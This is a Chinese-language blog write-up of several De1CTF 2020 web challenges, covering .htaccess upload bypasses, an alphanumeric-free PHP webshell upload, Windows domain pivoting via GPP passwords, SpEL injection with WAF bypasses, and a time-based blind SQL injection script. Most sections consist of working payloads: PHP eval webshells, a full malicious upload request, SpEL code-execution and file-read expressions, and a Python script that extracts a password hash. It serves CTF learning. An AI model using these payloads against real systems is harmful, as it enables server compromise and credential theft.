Author:颖奇L’Amore

Blog:www.gem-love.com


Check In

考点:.htaccess重写、CGI

难度:简单

题目上传不会修改文件名,但是过滤了ph,对于此类题目考虑htaccess重写

但是本题目会检测文件内容 黑名单:

perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet

文件内容内可以用php短标签绕过,但是htaccess里不好办,感觉应该是CGI,这样可以解析CGI:

Options +ExecCGI
SetHandler cgi-script

但是传的CGI一直是500,本机是mac,默认就是Unix编码了,换行符什么的也没问题但是没成功。返回500应该是CGI被成功执行了但是执行出错了,搞了一会发现了非预期,可以直接用换行符绕过

AddType application/x-httpd-p\
hp .jpg

然后短标签即可RCE:

<?=eval($_POST['y1ng']);

Hard_Pentest_1

考点:上传getshell、渗透

难度:难

第一步getshell

<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
    if (($_FILES["file"]["size"] < 2048) && Check()){
        if ($_FILES["file"]["error"] > 0){
            die($_FILES["file"]["error"]);
        }
        else{
            $filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
            move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
            echo "save in:" . $sandbox."/" . $filename;
        }
    }
    else{
        echo "Not Allow!";
    }
}

function Check(){
    $BlackExts = array("php");
    $ext = explode(".", $_FILES["file"]["name"]);
    $exts = trim(end($ext));
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/\.\./',$_FILES["file"]["name"])) {
          return true;
    }
    return false;
}
?>

<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>

<form action="index.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="submit">
</form>

</body>
</html>

测试发现,题目对于大小写不敏感,结合题目名要做渗透,所以是Windows,绕过ext的blacklist就用phP即可;

然后还有个非常严格的正则:

/[a-z0-9;~^`&|]/is

这个可以参考p神的无字母数字RCE的Payload,然而题目同时还过滤了分号,正好我昨天刚做了一个无分号RCE,分号作为一种语句的结束和多个语句之间的分隔,但是在在PHP的单行模式中是不需要分号做语句的分隔的,比如:

<? echo("aa") ?>

这一点在2019XCTF Final中也有考,用?><?代替分号,然后构造一个$_POST[__]($_POST[_])上传来RCE:

POST /index.php HTTP/1.1
Host: 47.113.219.76
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12605381933760350646680255562
Content-Length: 1890
Origin: <http://47.113.219.76>
Connection: close
Referer: <http://47.113.219.76/>
Upgrade-Insecure-Requests: 1

-----------------------------12605381933760350646680255562
Content-Disposition: form-data; name="file"; filename="a.phP"
Content-Type: text/php

<?=$_=[]?><[email protected]"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_])?>
-----------------------------12605381933760350646680255562
Content-Disposition: form-data; name="submit"

submit
-----------------------------12605381933760350646680255562--

这样就得到了一句话木马,但是这种不能蚁剑连,所以写一个可以蚁剑连接的马:

__=system&_=echo "<?php eval($_POST['y1ng']);?>">y1ng.php

第二步渗透

net user /domain可以看到一个叫HintZip_Pass的用户名,告诉我们要搞zip的密码,因为权限设置的不是特别严格,可以看到别的选手的上传文件夹,以及C盘目录,于是写了个扫描器看看别人都在搞什么、随时准备上车:

<?php   
$file = "..";
function list_file($date){
    $temp = scandir($date);
    foreach( $temp as $v){
        $a = $date . '/' . $v;
       if( is_dir($a) ){
           if( $v == '.' || $v == '..') continue;
           list_file($a);
       }else if (strlen(file_get_contents($a)) != 0) echo $a."<br>";
    }
}
list_file($file);

然后就顺利的拿到了zip压缩包

实际上可以在net view \\192.168.0.12时候看到共享盘,dir一下即可得到zip,还有SYSVOL。

因为SYSVOL,用gpp获取密码,弹个msf的meterpreter shell然后用windows/gather/credencials/gpp一把梭

解压zip得到:

flag1: De1CTF{GpP_11Is_SoOOO_Ea3333y}

Get flag2 Hint:
hint1: You need De1ta user to get flag2
hint2: De1ta user's password length is 1-8, and the password is composed of [0-9a-f].
hint3: Pay attention to the extended rights of De1ta user on the domain.
hint4: flag2 in Domain Controller (C:\Users\Administrator\Desktop\flag.txt)

PS: Please do not damage the environment after getting permission, thanks QAQ.

calc

考点:SpEL表达式注入

难度:中等

查看html源代码,static/js/app.2bd6d7502a3d35617193.js中发现了计算器的地址:

R.default.get("/spel/calc",{params:{calc:t.enter}})

http://106.52.164.141/spel/calc?calc=

根据报错可以发现是spel

之后就是spel注入导致RCE 这里就是RCE点,fuzz一下waf主要过滤了:

  • string
  • new
  • getclass
  • java.lang

可以绕过,比如这个payload:

''.class.forName('jav'+'a.lang.R'+'untime').getDeclaredMethods()[15].invoke(''.class.forName('jav'+'a.lan'+'[g.Ru](<http://g.ru/>)'+'ntime').getDeclaredMethods()[7].invoke(null),'whoami')

但是执行系统命令失败了:

blocked by openrasp

应该是让文件读取

虽然new被ban了,但是可以用NEW绕过,这样就可以随意的构造类对象了;然后就是要把对应的包也写上,写全了就可以构造对象,不然会报错

最终payload为:

NEW java.util.Scanner(NEW java.io.BufferedReader(NEW java.io.FileReader(NEW java.io.File('/flag')))).nextLine()

url编码后访问/spel/calc?calc=payload 即可得到flag:

http://106.52.164.141/spel/calc?calc=NEW java.util.Scanner(NEW%20java.io.BufferedReader(NEW%20java.io.FileReader(NEW java.io.File('/flag')))).nextLine()

flag:De1CTF{NobodyKnowsMoreThanTrumpAboutJava}

队友的payload也可以用:

''.class.forName('java.nio.file.Files').getDeclaredMethods()[17].invoke(null,''.class.forName('java.nio.file.Paths').getDeclaredMethods()[0].invoke(null,'/flag',''.class.forName('jav'+'a.lang.'+'Str'+'ing').getDeclaredMethods()[63].invoke('','a')))

Mixture(Unsolved)

考点:benchmark延时注入、webpwn

难度:难

只做了一半,注出admin之后登陆,有phpinfo和文件读取,在php.ini里可以发现so扩展,后面就是pwn了

benchmark时间盲注:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
import time as t
from urllib.parse import quote

url = 'http://134.175.185.244/member.php?orderby='
alphabet = [',','a','T','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
#your sql query here:
sql = 'select database()' #TesT
sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()" #member,users
sql = 'select group_concat(column_name) from information_schema.columns where table_schema=database()' #id, username, password
sql = 'select password from member' #18a960a3a0b3554b314ebe77fe545c85
result = ''
for i in range(1,30):
    for char in alphabet:
        payload = "and case when (FIELD(substr(({}),{},1),'{}')=1) then (benchmark(100000,sha1(sha(sha(1)))))end;".format(sql, i, char)
        # payload = quote(payload)

        #time
        start = int(t.time())
        r = requests.get(url+payload)
        end = int(t.time()) - start

        if end >= 3:
            result += char
            print(result)
            break
        # else:
        #     print(url+payload)

md5解密得到管理员密码:goodlucktoyou

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2302.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示


颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image